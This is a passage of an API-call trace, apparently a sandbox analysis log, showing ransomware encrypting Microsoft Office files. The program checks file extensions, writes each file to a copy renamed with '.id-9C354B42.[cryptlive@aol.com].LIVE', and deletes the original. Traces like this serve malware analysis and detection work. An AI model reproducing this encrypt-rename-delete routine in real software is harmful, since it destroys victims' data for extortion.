lstrlenW (lpString=".bz2") returned 4 [0154.744] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0154.744] lstrlenW (lpString=".7z") returned 3 [0154.744] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0154.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EMSMDB32.DLL") returned 55 [0154.744] lstrlenW (lpString=".dbf") returned 4 [0154.744] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0154.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EMSMDB32.DLL") returned 55 [0154.744] lstrlenW (lpString=".1cd") returned 4 [0154.744] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0154.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EMSMDB32.DLL") returned 55 [0154.744] lstrlenW (lpString=".jpg") returned 4 [0154.744] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0154.744] lstrcmpiW (lpString1=".LNG", lpString2=".LIVE") returned 1 [0154.744] lstrlenW (lpString="ENGLISH.LNG") returned 11 [0154.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\english.lng"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0154.745] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=311852) returned 1 [0154.745] CloseHandle (hObject=0x1dc) returned 1 [0154.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\english.lng")) returned 0x20 [0154.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\english.lng.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\english.lng"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0154.746] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.746] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\english.lng.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0154.747] GetLastError () returned 0x0 [0154.747] ReadFile (in: hFile=0x1dc, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x4c22c, lpOverlapped=0x0) returned 1 [0154.757] WriteFile (in: hFile=0x1e0, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x4c230, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x4c230, lpOverlapped=0x0) returned 1 [0154.991] ReadFile (in: hFile=0x1dc, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0154.991] WriteFile (in: hFile=0x1e0, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0154.992] SetEndOfFile (hFile=0x1e0) returned 1 [0154.992] CloseHandle (hObject=0x1e0) returned 1 [0154.992] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.992] SetEndOfFile (hFile=0x1dc) returned 1 [0155.000] CloseHandle (hObject=0x1dc) returned 1 [0155.000] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0155.001] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\english.lng")) returned 1 [0155.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54 [0155.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54 [0155.002] lstrlenW (lpString=".doc") returned 4 [0155.002] lstrcmpiW (lpString1=".doc", lpString2=".LNG") returned -1 [0155.002] lstrlenW (lpString=".docx") returned 5 [0155.002] lstrcmpiW (lpString1=".docx", lpString2="H.LNG") returned -1 [0155.002] lstrlenW (lpString=".pdf") returned 4 [0155.002] lstrcmpiW (lpString1=".pdf", lpString2=".LNG") returned 1 [0155.002] lstrlenW (lpString=".xls") returned 4 [0155.002] lstrcmpiW (lpString1=".xls", lpString2=".LNG") returned 1 [0155.002] lstrlenW (lpString=".xlsx") returned 5 [0155.002] lstrcmpiW (lpString1=".xlsx", lpString2="H.LNG") returned -1 [0155.002] lstrlenW (lpString=".ppt") returned 4 [0155.002] lstrcmpiW (lpString1=".ppt", lpString2=".LNG") returned 1 [0155.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54 [0155.002] lstrlenW (lpString=".zip") returned 4 [0155.002] lstrcmpiW (lpString1=".zip", lpString2=".LNG") returned 1 [0155.002] lstrlenW (lpString=".rar") returned 4 [0155.002] lstrcmpiW (lpString1=".rar", lpString2=".LNG") returned 1 [0155.003] lstrlenW (lpString=".bz2") returned 4 [0155.003] lstrcmpiW (lpString1=".bz2", lpString2=".LNG") returned -1 [0155.003] lstrlenW (lpString=".7z") returned 3 [0155.003] lstrcmpiW (lpString1=".7z", lpString2="LNG") returned -1 [0155.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54 [0155.003] lstrlenW (lpString=".dbf") returned 4 [0155.003] lstrcmpiW (lpString1=".dbf", lpString2=".LNG") returned -1 [0155.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54 [0155.003] lstrlenW (lpString=".1cd") returned 4 [0155.003] lstrcmpiW (lpString1=".1cd", lpString2=".LNG") returned -1 [0155.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54 [0155.003] lstrlenW (lpString=".jpg") returned 4 [0155.003] lstrcmpiW (lpString1=".jpg", lpString2=".LNG") returned -1 [0155.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54 [0155.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54 [0155.003] lstrlenW (lpString=".doc") returned 4 [0155.003] lstrcmpiW (lpString1=".doc", lpString2=".LNG") returned -1 [0155.003] lstrlenW (lpString=".docx") returned 5 [0155.003] lstrcmpiW (lpString1=".docx", lpString2="H.LNG") returned -1 [0155.003] lstrlenW (lpString=".pdf") returned 4 [0155.003] lstrcmpiW (lpString1=".pdf", lpString2=".LNG") returned 1 [0155.003] lstrlenW (lpString=".xls") returned 4 [0155.003] lstrcmpiW (lpString1=".xls", lpString2=".LNG") returned 1 [0155.003] lstrlenW (lpString=".xlsx") returned 5 [0155.003] lstrcmpiW (lpString1=".xlsx", lpString2="H.LNG") returned -1 [0155.003] lstrlenW (lpString=".ppt") returned 4 [0155.003] lstrcmpiW (lpString1=".ppt", lpString2=".LNG") returned 1 [0155.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54 [0155.003] lstrlenW (lpString=".zip") returned 4 [0155.003] lstrcmpiW (lpString1=".zip", lpString2=".LNG") returned 1 [0155.003] lstrlenW (lpString=".rar") returned 4 [0155.003] lstrcmpiW (lpString1=".rar", lpString2=".LNG") returned 1 [0155.003] lstrlenW (lpString=".bz2") returned 4 [0155.003] lstrcmpiW (lpString1=".bz2", lpString2=".LNG") returned -1 [0155.003] lstrlenW (lpString=".7z") returned 3 [0155.004] lstrcmpiW (lpString1=".7z", lpString2="LNG") returned -1 [0155.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54 [0155.004] lstrlenW (lpString=".dbf") returned 4 [0155.004] lstrcmpiW (lpString1=".dbf", lpString2=".LNG") returned -1 [0155.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54 [0155.004] lstrlenW (lpString=".1cd") returned 4 [0155.004] lstrcmpiW (lpString1=".1cd", lpString2=".LNG") returned -1 [0155.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54 [0155.004] lstrlenW (lpString=".jpg") returned 4 [0155.004] lstrcmpiW (lpString1=".jpg", lpString2=".LNG") returned -1 [0155.004] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0155.004] lstrlenW (lpString="ACTIVITL.ICO") returned 12 [0155.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activitl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0155.289] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1078) returned 1 [0155.289] CloseHandle (hObject=0x1fc) returned 1 [0155.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activitl.ico")) returned 0x20 [0155.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activitl.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0155.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activitl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0155.298] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.298] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activitl.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0156.126] GetLastError () returned 0x0 [0156.126] ReadFile (in: hFile=0x380, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x436, lpOverlapped=0x0) returned 1 [0156.131] WriteFile (in: hFile=0x350, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x440, lpOverlapped=0x0) returned 1 [0156.132] ReadFile (in: hFile=0x380, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.132] WriteFile (in: hFile=0x350, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.132] SetEndOfFile (hFile=0x350) returned 1 [0156.518] CloseHandle (hObject=0x350) returned 1 [0156.518] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.518] SetEndOfFile (hFile=0x380) returned 1 [0156.544] CloseHandle (hObject=0x380) returned 1 [0156.544] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.609] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activitl.ico")) returned 1 [0156.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66 [0156.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66 [0156.611] lstrlenW (lpString=".doc") returned 4 [0156.611] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0156.611] lstrlenW (lpString=".docx") returned 5 [0156.611] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0156.611] lstrlenW (lpString=".pdf") returned 4 [0156.612] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0156.612] lstrlenW (lpString=".xls") returned 4 [0156.612] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0156.612] lstrlenW (lpString=".xlsx") returned 5 [0156.612] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0156.612] lstrlenW (lpString=".ppt") returned 4 [0156.612] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0156.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66 [0156.612] lstrlenW (lpString=".zip") returned 4 [0156.612] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0156.612] lstrlenW (lpString=".rar") returned 4 [0156.612] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0156.612] lstrlenW (lpString=".bz2") returned 4 [0156.612] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0156.612] lstrlenW (lpString=".7z") returned 3 [0156.612] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0156.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66 [0156.612] lstrlenW (lpString=".dbf") returned 4 [0156.612] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0156.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66 [0156.612] lstrlenW (lpString=".1cd") returned 4 [0156.612] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0156.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66 [0156.612] lstrlenW (lpString=".jpg") returned 4 [0156.612] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0156.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66 [0156.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66 [0156.612] lstrlenW (lpString=".doc") returned 4 [0156.612] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0156.612] lstrlenW (lpString=".docx") returned 5 [0156.612] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0156.612] lstrlenW (lpString=".pdf") returned 4 [0156.612] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0156.612] lstrlenW (lpString=".xls") returned 4 [0156.612] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0156.612] lstrlenW (lpString=".xlsx") returned 5 [0156.613] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0156.613] lstrlenW (lpString=".ppt") returned 4 [0156.613] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0156.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66 [0156.613] lstrlenW (lpString=".zip") returned 4 [0156.613] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0156.613] lstrlenW (lpString=".rar") returned 4 [0156.613] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0156.613] lstrlenW (lpString=".bz2") returned 4 [0156.613] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0156.613] lstrlenW (lpString=".7z") returned 3 [0156.613] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0156.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66 [0156.613] lstrlenW (lpString=".dbf") returned 4 [0156.613] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0156.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66 [0156.613] lstrlenW (lpString=".1cd") returned 4 [0156.613] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0156.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66 [0156.613] lstrlenW (lpString=".jpg") returned 4 [0156.613] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0156.613] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0156.613] lstrlenW (lpString="CONTACTL.ICO") returned 12 [0156.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contactl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0156.614] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1078) returned 1 [0156.614] CloseHandle (hObject=0x1e0) returned 1 [0156.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contactl.ico")) returned 0x20 [0156.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contactl.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contactl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0156.614] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.614] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contactl.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0156.615] GetLastError () returned 0x0 [0156.615] ReadFile (in: hFile=0x1e0, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x436, lpOverlapped=0x0) returned 1 [0156.656] WriteFile (in: hFile=0x1b0, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x440, lpOverlapped=0x0) returned 1 [0156.657] ReadFile (in: hFile=0x1e0, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.657] WriteFile (in: hFile=0x1b0, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.657] SetEndOfFile (hFile=0x1b0) returned 1 [0156.657] CloseHandle (hObject=0x1b0) returned 1 [0156.657] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.657] SetEndOfFile (hFile=0x1e0) returned 1 [0156.659] CloseHandle (hObject=0x1e0) returned 1 [0156.659] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.659] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contactl.ico")) returned 1 [0156.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66 [0156.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66 [0156.660] lstrlenW (lpString=".doc") returned 4 [0156.660] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0156.660] lstrlenW (lpString=".docx") returned 5 [0156.660] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0156.660] lstrlenW (lpString=".pdf") returned 4 [0156.660] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0156.660] lstrlenW (lpString=".xls") returned 4 [0156.660] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0156.660] lstrlenW (lpString=".xlsx") returned 5 [0156.660] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0156.660] lstrlenW (lpString=".ppt") returned 4 [0156.660] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0156.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66 [0156.660] lstrlenW (lpString=".zip") returned 4 [0156.660] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0156.660] lstrlenW (lpString=".rar") returned 4 [0156.660] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0156.660] lstrlenW (lpString=".bz2") returned 4 [0156.660] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0156.660] lstrlenW (lpString=".7z") returned 3 [0156.660] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0156.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66 [0156.660] lstrlenW (lpString=".dbf") returned 4 [0156.661] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0156.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66 [0156.661] lstrlenW (lpString=".1cd") returned 4 [0156.661] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0156.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66 [0156.661] lstrlenW (lpString=".jpg") returned 4 [0156.661] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0156.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66 [0156.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66 [0156.661] lstrlenW (lpString=".doc") returned 4 [0156.661] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0156.661] lstrlenW (lpString=".docx") returned 5 [0156.661] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0156.661] lstrlenW (lpString=".pdf") returned 4 [0156.661] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0156.661] lstrlenW (lpString=".xls") returned 4 [0156.661] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0156.661] lstrlenW (lpString=".xlsx") returned 5 [0156.661] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0156.661] lstrlenW (lpString=".ppt") returned 4 [0156.661] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0156.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66 [0156.661] lstrlenW (lpString=".zip") returned 4 [0156.661] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0156.661] lstrlenW (lpString=".rar") returned 4 [0156.661] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0156.661] lstrlenW (lpString=".bz2") returned 4 [0156.661] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0156.661] lstrlenW (lpString=".7z") returned 3 [0156.661] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0156.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66 [0156.661] lstrlenW (lpString=".dbf") returned 4 [0156.661] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0156.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66 [0156.661] lstrlenW (lpString=".1cd") returned 4 [0156.661] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0156.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66 [0156.662] lstrlenW (lpString=".jpg") returned 4 [0156.662] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0156.662] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0156.662] lstrlenW 